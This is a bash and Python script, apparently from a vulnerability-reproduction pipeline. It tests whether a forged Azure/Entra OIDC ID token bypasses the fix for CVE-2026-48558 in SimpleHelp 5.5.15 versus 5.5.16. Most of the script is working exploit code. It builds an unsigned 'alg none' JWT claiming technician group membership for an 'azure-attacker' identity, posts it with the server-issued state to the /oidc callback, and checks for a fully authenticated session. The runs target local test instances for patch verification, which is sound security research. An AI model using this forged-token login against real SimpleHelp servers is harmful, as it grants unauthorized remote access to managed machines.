#!/bin/bash
set -euo pipefail

# CVE-2026-48558 variant/bypass probe: Azure/Entra-style OIDC implicit ID-token callback.
#
# This script compares SimpleHelp 5.5.15 with patched 5.5.16 using a materially
# different OIDC entry/data path from the original reproduction:
# - original: generic OpenID Connect authorization-code flow, /oidc?code=...&state=..., server exchanges code at /token
# - this probe: Azure/Entra OIDC provider, response_type=id_token, response_mode=form_post,
#   attacker posts a forged id_token directly to /oidc with the server-issued state.
#
# Exit 0 = the forged Azure/Entra direct ID-token flow also authenticates on patched 5.5.16 (bypass).
# Exit 1 = no bypass confirmed (for example vulnerable-only alternate trigger, or no trigger).

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
VARIANT_DIR="$ROOT/vuln_variant"
ARTIFACTS="$VARIANT_DIR/artifacts"
WORK_BASE="$VARIANT_DIR/runtime-azure-implicit"
mkdir -p "$LOGS" "$ARTIFACTS" "$WORK_BASE"
cd "$ROOT"

MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

VULN_VERSION="5.5.15"
PATCHED_VERSION="5.5.16"
VULN_BUILD="20260326-092709"
PATCHED_BUILD="20260526-203544"
VULN_URL="https://site.simple-help.com/releases/5.5.15/SimpleHelp-linux-amd64.tar.gz"
PATCHED_URL="https://site.simple-help.com/releases/5.5.16_202605/SimpleHelp-linux-amd64.tar.gz"
VULN_SHA256="26cd904ebf78ac4b2c5b99f6a9659a562390777dc8fe730469e2ecfc8ad139ab"
PATCHED_SHA256="9360af980277e1ef4330eb1ed08d981c9dfdcc4e25d87ed0552a47f5ebd5161a"
# Prefer the already downloaded repro tarballs when present; otherwise download into vuln_variant/artifacts.
REPRO_ARTIFACTS="$ROOT/artifacts"
VULN_TGZ="$ARTIFACTS/SimpleHelp-${VULN_VERSION}-vuln.tar.gz"
PATCHED_TGZ="$ARTIFACTS/SimpleHelp-${PATCHED_VERSION}-patched.tar.gz"
if [ -f "$REPRO_ARTIFACTS/SimpleHelp-${VULN_VERSION}-vuln.tar.gz" ]; then VULN_TGZ="$REPRO_ARTIFACTS/SimpleHelp-${VULN_VERSION}-vuln.tar.gz"; fi
if [ -f "$REPRO_ARTIFACTS/SimpleHelp-${PATCHED_VERSION}-patched.tar.gz" ]; then PATCHED_TGZ="$REPRO_ARTIFACTS/SimpleHelp-${PATCHED_VERSION}-patched.tar.gz"; fi

write_runtime_manifest() {
  local variant_reproduced="$1"
  local notes="$2"
  python3 - "$VARIANT_DIR/runtime_manifest.json" "$variant_reproduced" "$notes" <<'PY'
import json, sys
path, reproduced, notes = sys.argv[1], sys.argv[2] == 'true', sys.argv[3]
manifest = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "Azure/Entra-style OIDC /auth/v1/account/oidc_get followed by direct POST /oidc form_post id_token callback",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "variant_reproduced_on_fixed": reproduced,
  "runtime_stack": ["SimpleHelp 5.5.15 server", "SimpleHelp 5.5.16 server"],
  "proof_artifacts": [
    "logs/vuln_variant/reproduction_steps.log",
    "logs/vuln_variant/azure_vuln_flow.json",
    "logs/vuln_variant/azure_patched_flow.json",
    "logs/vuln_variant/azure_vuln_runtime_tail.log",
    "logs/vuln_variant/azure_patched_runtime_tail.log",
    "logs/vuln_variant/azure_class_comparison.log",
    "logs/vuln_variant/azure_forged_jwt.txt",
    "logs/vuln_variant/fixed_version.txt"
  ],
  "notes": notes
}
with open(path, 'w') as f:
    json.dump(manifest, f, indent=2)
PY
}
trap 'write_runtime_manifest false "script exited before final verdict; see logs/vuln_variant/reproduction_steps.log"' ERR

sha_ok() { [ -f "$1" ] && [ "$(sha256sum "$1" | awk '{print $1}')" = "$2" ]; }

download_if_needed() {
  local url="$1" out="$2" sha="$3" label="$4"
  if sha_ok "$out" "$sha"; then
    echo "[*] $label tarball present and SHA256 verified at $out"
    return
  fi
  if [ "$out" = "$REPRO_ARTIFACTS/SimpleHelp-${VULN_VERSION}-vuln.tar.gz" ] || [ "$out" = "$REPRO_ARTIFACTS/SimpleHelp-${PATCHED_VERSION}-patched.tar.gz" ]; then
    echo "[!] Existing repro artifact failed SHA verification: $out" >&2
    exit 2
  fi
  echo "[*] Downloading $label from $url"
  curl -L --fail --max-time 600 -o "$out" "$url"
  local got
  got="$(sha256sum "$out" | awk '{print $1}')"
  if [ "$got" != "$sha" ]; then
    echo "[!] SHA256 mismatch for $label: expected $sha got $got" >&2
    exit 2
  fi
}

cleanup_ports() {
  python3 - <<'PY'
import os, re, signal, subprocess
try:
    out = subprocess.run(['ss','-ltnp'], text=True, capture_output=True).stdout
except FileNotFoundError:
    out = ''
for line in out.splitlines():
    if any(p in line for p in [':80 ', ':443 ', ':7875']):
        for pid in re.findall(r'pid=(\d+)', line):
            try:
                cmd = open(f'/proc/{pid}/cmdline','rb').read().replace(b'\0', b' ').decode('utf-8','ignore')
            except Exception:
                cmd = ''
            if 'SimpleHelp' in cmd or 'simplehelp.jar' in cmd:
                try: os.kill(int(pid), signal.SIGTERM)
                except ProcessLookupError: pass
PY
  sleep 1
}

stop_server() {
  local dir="$1"
  if [ -x "$dir/SimpleHelp/jre/bin/java" ] && [ -f "$dir/SimpleHelp/lib/simplehelp.jar" ]; then
    (cd "$dir/SimpleHelp" && timeout 8 ./jre/bin/java -Djava.awt.headless=true -cp lib/simplehelp.jar SimpleHelpStop) >/dev/null 2>&1 || true
  fi
  rm -f "$dir/SimpleHelp/lib/server.lock" 2>/dev/null || true
}

extract_clean() {
  local tgz="$1" dir="$2" label="$3"
  rm -rf "$dir"
  mkdir -p "$dir"
  echo "[*] Extracting $label"
  tar -xzf "$tgz" -C "$dir"
}

start_server_bg() {
  local dir="$1" log="$2"
  rm -f "$dir/SimpleHelp/lib/server.lock"
  (cd "$dir/SimpleHelp" && exec ./jre/bin/java -Djava.net.preferIPv4Stack=true -Djava.awt.headless=true -Xmx384m -cp lib/simplehelp.jar SimpleHelp) > "$log" 2>&1 &
  echo $!
}

wait_https() {
  for _ in $(seq 1 35); do
    if curl -ksS --max-time 3 https://127.0.0.1/ >/dev/null 2>&1; then
      return 0
    fi
    sleep 1
  done
  echo "[!] SimpleHelp HTTPS did not become ready" >&2
  return 1
}

initialise_config_if_needed() {
  local dir="$1" label="$2"
  if [ -f "$dir/SimpleHelp/configuration/serverconfig.xml" ]; then
    return
  fi
  echo "[*] Initialising first-launch config for $label"
  local pid
  pid=$(start_server_bg "$dir" "$LOGS/${label}_initial_start.log")
  wait_https
  curl -ksS --max-time 5 https://127.0.0.1/setupmode_new_config -o /dev/null || true
  sleep 2
  stop_server "$dir"
  kill "$pid" >/dev/null 2>&1 || true
  if [ ! -f "$dir/SimpleHelp/configuration/serverconfig.xml" ]; then
    echo "[!] Failed to create serverconfig.xml for $label" >&2
    exit 2
  fi
}

configure_azure_oidc() {
  local dir="$1" label="$2"
  python3 - "$dir/SimpleHelp/configuration/serverconfig.xml" <<'PY'
from pathlib import Path
import sys
p = Path(sys.argv[1])
s = p.read_text()
s = s.replace('<Encrypt>on</Encrypt>', '<Encrypt>off</Encrypt>')
# Remove stale authentication providers from prior test runs.
for marker in ['<AuthenticationProvider type="OIDC">', '<AuthenticationProvider type="oidc">', '<AuthenticationProvider type="OIDC_AZURE">', '<AuthenticationProvider type="oidc_azure">']:
    start = s.find('\n\t' + marker)
    while start != -1:
        end = s.find('\n\t</AuthenticationProvider>', start)
        if end == -1:
            break
        end += len('\n\t</AuthenticationProvider>')
        s = s[:start] + s[end:]
        start = s.find('\n\t' + marker)
provider = '''
	<AuthenticationProvider type="oidc_azure">
		<Enabled>on</Enabled>
		<Name>Test Azure</Name>
		<ID>azure-test-provider</ID>
		<ClientID>test-client-id</ClientID>
		<Secret>test-client-secret</Secret>
		<AutoAssignGroups>on</AutoAssignGroups>
		<TenantID>common</TenantID>
	</AuthenticationProvider>
'''
s = s.replace('\n\t<TechnicianGroup', provider + '\n\t<TechnicianGroup', 1)
# Create/update a non-admin technician group. Include the AzureAD group-auth settings
# tag used by SimpleHelp's AzureADGroupSettings class. Also include an OIDC tag with
# the same provider ID so the test remains valid on builds that serialize Azure OIDC
# group settings through the generic OIDC group element.
if '<ID>2000002</ID>' not in s:
    group = '''
	<TechnicianGroup machineFilters="all">
		<ID>2000002</ID>
		<Name>Azure Technicians</Name>
		<AnonymousLogins>on</AnonymousLogins>
		<RemoteSupport>on</RemoteSupport>
		<RemoteAccess>on</RemoteAccess>
		<AzureAD>
			<Enabled>on</Enabled>
			<ID>azure-test-provider</ID>
		</AzureAD>
		<OIDC>
			<Enabled>on</Enabled>
			<ID>azure-test-provider</ID>
		</OIDC>
	</TechnicianGroup>
'''
    s = s.replace('\n\t<Technician>\n', group + '\n\t<Technician>\n', 1)
else:
    # Ensure group-authenticated logins and Azure/OIDC provider IDs are present.
    gstart = s.find('<ID>2000002</ID>')
    tstart = s.rfind('\n\t<TechnicianGroup', 0, gstart)
    tend = s.find('\n\t</TechnicianGroup>', gstart) + len('\n\t</TechnicianGroup>')
    group = s[tstart:tend]
    if '<AnonymousLogins>on</AnonymousLogins>' not in group:
        group = group.replace('<Name>Technicians</Name>', '<Name>Azure Technicians</Name>\n\t\t<AnonymousLogins>on</AnonymousLogins>')
    if '<AzureAD>' not in group:
        group = group.replace('\n\t</TechnicianGroup>', '\n\t\t<AzureAD>\n\t\t\t<Enabled>on</Enabled>\n\t\t\t<ID>azure-test-provider</ID>\n\t\t</AzureAD>\n\t</TechnicianGroup>')
    if '<OIDC>' not in group:
        group = group.replace('\n\t</TechnicianGroup>', '\n\t\t<OIDC>\n\t\t\t<Enabled>on</Enabled>\n\t\t\t<ID>azure-test-provider</ID>\n\t\t</OIDC>\n\t</TechnicianGroup>')
    s = s[:tstart] + group + s[tend:]
p.write_text(s)
PY
  cp "$dir/SimpleHelp/configuration/serverconfig.xml" "$LOGS/${label}_azure_serverconfig.xml"
}

run_azure_implicit_flow() {
  local label="$1" dir="$2"
  local flow_json="$LOGS/azure_${label}_flow.json"
  local server_stdout="$LOGS/azure_${label}_server_stdout.log"
  local srv_pid
  srv_pid=$(start_server_bg "$dir" "$server_stdout")
  wait_https
  curl -ksS --max-time 5 https://127.0.0.1/setupmode_new_config -o /dev/null || true
  python3 - "$flow_json" <<'PY'
import base64, json, re, ssl, sys, time, urllib.error, urllib.parse, urllib.request, http.cookiejar
out = sys.argv[1]
ctx = ssl.create_default_context(); ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx), urllib.request.HTTPCookieProcessor(cj))
result = {}
def read(url, timeout=15):
    r = op.open(url, timeout=timeout)
    body = r.read(30000).decode('utf-8', 'replace')
    return r, body
try:
    r, body = read('https://127.0.0.1/auth/v1/account/login_options')
    result['login_options_status'] = r.status
    result['login_options_body'] = body
    options = json.loads(body)
    azure_option = None
    for opt in options:
        if opt.get('name') == 'Test Azure' or 'azure' in opt.get('name','').lower() or 'azure' in opt.get('type','').lower():
            azure_option = opt
            break
    if azure_option is None:
        # Fall back to an explicit OIDC-style payload if the option is hidden from login_options.
        azure_option = {'name':'Test Azure','type':'oidc'}
    payload = dict(azure_option)
    payload['callback'] = 'https://127.0.0.1/technician'
    r, body = read('https://127.0.0.1/auth/v1/account/oidc_get?payload=' + urllib.parse.quote(json.dumps(payload, separators=(',',':'))), 15)
    result['oidc_get_status'] = r.status
    result['oidc_get_body'] = body
    auth_url = json.loads(body)
    result['auth_url'] = auth_url
    parsed = urllib.parse.urlparse(auth_url)
    q = urllib.parse.parse_qs(parsed.query)
    result['auth_query'] = {k: v for k, v in q.items() if k in ['client_id','redirect_uri','response_type','response_mode','scope','state','nonce']}
    state = q.get('state', [''])[0]
    nonce = q.get('nonce', [''])[0]
    redirect_uri = q.get('redirect_uri', ['https://127.0.0.1/oidc'])[0]
    def b64(o):
        return base64.urlsafe_b64encode(json.dumps(o, separators=(',',':')).encode()).decode().rstrip('=')
    claims = {
        'iss': 'https://login.microsoftonline.com/common/v2.0',
        'aud': 'test-client-id',
        'sub': 'azure-attacker@example.com',
        'email': 'azure-attacker@example.com',
        'preferred_username': 'azure-attacker',
        'upn': 'azure-attacker@example.com',
        'name': 'Forged Azure Attacker',
        'groups': ['Azure Technicians', 'Technicians'],
        'tid': 'common',
        'iat': int(time.time()),
        'nbf': int(time.time()) - 5,
        'exp': int(time.time()) + 3600,
    }
    if nonce:
        claims['nonce'] = nonce
    token = b64({'alg':'none','typ':'JWT'}) + '.' + b64(claims) + '.bogus'
    result['forged_token_header_claims'] = {'header': {'alg':'none','typ':'JWT'}, 'claims': claims}
    # Use the product callback path from redirect_uri but force loopback networking for the test.
    rpu = urllib.parse.urlparse(redirect_uri)
    callback_url = 'https://127.0.0.1' + (rpu.path or '/oidc')
    post_data = urllib.parse.urlencode({'id_token': token, 'state': state}).encode()
    req = urllib.request.Request(callback_url, data=post_data, method='POST', headers={'Content-Type':'application/x-www-form-urlencoded'})
    try:
        r = op.open(req, timeout=20)
        cb_body = r.read(30000).decode('utf-8','replace')
        result['callback_status'] = r.status
    except urllib.error.HTTPError as e:
        cb_body = e.read(30000).decode('utf-8','replace')
        result['callback_status'] = e.code
    result['callback_url'] = callback_url
    result['callback_contains_login_complete'] = 'Login Complete' in cb_body and 'Login Failed' not in cb_body
    result['callback_contains_login_failed'] = 'Login Failed' in cb_body
    result['callback_title_excerpt'] = re.sub(r'\s+', ' ', cb_body[:1500])
    result['cookies'] = [c.name + '=' + c.value for c in cj]
    r, st_body = read('https://127.0.0.1/auth/v1/account/status')
    result['status_after_status'] = r.status
    result['status_after_body'] = st_body
except Exception as e:
    result['exception'] = repr(e)
with open(out, 'w') as f:
    json.dump(result, f, indent=2)
print(json.dumps(result, indent=2))
PY
  sleep 2
  find "$dir/SimpleHelp/logs" -maxdepth 2 -type f -name server.log -print -exec tail -360 {} \; > "$LOGS/azure_${label}_runtime_tail.log" 2>/dev/null || true
  stop_server "$dir"
  kill "$srv_pid" >/dev/null 2>&1 || true
  rm -f "$dir/SimpleHelp/lib/server.lock"
}

cleanup_ports
download_if_needed "$VULN_URL" "$VULN_TGZ" "$VULN_SHA256" "SimpleHelp $VULN_VERSION"
download_if_needed "$PATCHED_URL" "$PATCHED_TGZ" "$PATCHED_SHA256" "SimpleHelp $PATCHED_VERSION"
rm -rf "$WORK_BASE"
mkdir -p "$WORK_BASE"
extract_clean "$VULN_TGZ" "$WORK_BASE/vuln" "vulnerable $VULN_VERSION"
extract_clean "$PATCHED_TGZ" "$WORK_BASE/patched" "patched $PATCHED_VERSION"
initialise_config_if_needed "$WORK_BASE/vuln" azure_vuln
initialise_config_if_needed "$WORK_BASE/patched" azure_patched
configure_azure_oidc "$WORK_BASE/vuln" azure_vuln
configure_azure_oidc "$WORK_BASE/patched" azure_patched

echo "SimpleHelp vulnerable version=$VULN_VERSION build=$VULN_BUILD sha256=$VULN_SHA256" > "$LOGS/vulnerable_version.txt"
echo "SimpleHelp fixed version=$PATCHED_VERSION build=$PATCHED_BUILD sha256=$PATCHED_SHA256" > "$LOGS/fixed_version.txt"

VULN_JAR="$WORK_BASE/vuln/SimpleHelp/lib/simplehelp.jar"
PATCHED_JAR="$WORK_BASE/patched/SimpleHelp/lib/simplehelp.jar"
{
  echo "[*] Vulnerable Azure/OIDC-relevant classes"
  unzip -l "$VULN_JAR" | grep -E 'IDTokenVerifier|OIDCCallbackManager|OIDCAuthenticator|AzureAuthenticationProvider|AzureADGroupSettings|IDToken.class' || true
  echo "[*] Patched Azure/OIDC-relevant classes"
  unzip -l "$PATCHED_JAR" | grep -E 'IDTokenVerifier|OIDCCallbackManager|OIDCAuthenticator|AzureAuthenticationProvider|AzureADGroupSettings|IDToken.class' || true
} > "$LOGS/azure_class_comparison.log"
cat "$LOGS/azure_class_comparison.log"

run_azure_implicit_flow vuln "$WORK_BASE/vuln"
cleanup_ports
run_azure_implicit_flow patched "$WORK_BASE/patched"
cleanup_ports

set +e
python3 - <<'PY'
import base64, json, pathlib, sys
logs = pathlib.Path('logs/vuln_variant')
v = json.loads((logs/'azure_vuln_flow.json').read_text())
p = json.loads((logs/'azure_patched_flow.json').read_text())
vrt = (logs/'azure_vuln_runtime_tail.log').read_text(errors='ignore') if (logs/'azure_vuln_runtime_tail.log').exists() else ''
prt = (logs/'azure_patched_runtime_tail.log').read_text(errors='ignore') if (logs/'azure_patched_runtime_tail.log').exists() else ''
cls = (logs/'azure_class_comparison.log').read_text(errors='ignore')
# Save the forged JWT from the vulnerable flow for evidence.
claims = v.get('forged_token_header_claims', {})
def b64(o):
    return base64.urlsafe_b64encode(json.dumps(o, separators=(',',':')).encode()).decode().rstrip('=')
if claims:
    (logs/'azure_forged_jwt.txt').write_text(b64(claims.get('header',{}))+'.'+b64(claims.get('claims',{}))+'.bogus')
summary = {
  'vulnerable_login_options_has_azure': 'Test Azure' in v.get('login_options_body','') or 'azure' in v.get('login_options_body','').lower(),
  'vulnerable_auth_url_has_state': 'state' in v.get('auth_query', {}) and bool(v.get('auth_query',{}).get('state')),
  'vulnerable_auth_url_direct_id_token_flow': 'id_token' in ''.join(v.get('auth_query',{}).get('response_type', [])) or 'response_type=id_token' in v.get('auth_url',''),
  'vulnerable_callback_reached': 'callback_status' in v,
  'vulnerable_status_fully_authenticated': 'FULLY_AUTHENTICATED' in v.get('status_after_body','') and 'azure-attacker' in v.get('status_after_body',''),
  'vulnerable_runtime_registered_login': 'Registering session token for Forged Azure Attacker' in vrt or 'Group authenticated technician' in vrt,
  'patched_has_IDTokenVerifier_class': 'IDTokenVerifier.class' in cls,
  'patched_status_fully_authenticated': 'FULLY_AUTHENTICATED' in p.get('status_after_body','') and 'azure-attacker' in p.get('status_after_body',''),
  'patched_failed_closed': 'FULLY_AUTHENTICATED' not in p.get('status_after_body','') and ('Login Failed' in p.get('callback_title_excerpt','') or p.get('callback_contains_login_failed') is True or 'signature' in prt.lower() or 'IDTokenVerifier' in cls),
  'vulnerable_status_after': v.get('status_after_body'),
  'patched_status_after': p.get('status_after_body'),
  'vulnerable_exception': v.get('exception'),
  'patched_exception': p.get('exception')
}
(logs/'azure_flow_summary.json').write_text(json.dumps(summary, indent=2))
print('[*] Azure/Entra implicit-flow variant summary:')
print(json.dumps(summary, indent=2))
# Variant/bypass criterion for this stage: the materially different Azure direct id_token path
# must authenticate on the fixed version. Vulnerable-only success is an alternate trigger but not a bypass.
if summary['patched_status_fully_authenticated']:
    print('[+] Confirmed bypass: patched 5.5.16 accepted the forged Azure/Entra direct id_token callback')
    sys.exit(0)
print('[*] No fixed-version bypass confirmed by Azure/Entra direct id_token probe')
sys.exit(1)
PY
verdict=$?
set -e
if [ "$verdict" -eq 0 ]; then
  write_runtime_manifest true "Azure/Entra direct form_post id_token callback authenticated on patched 5.5.16."
  trap - ERR
  exit 0
fi
write_runtime_manifest false "Azure/Entra direct form_post id_token callback was tested side by side. It did not authenticate on patched 5.5.16; see azure_flow_summary.json."
trap - ERR
exit 1
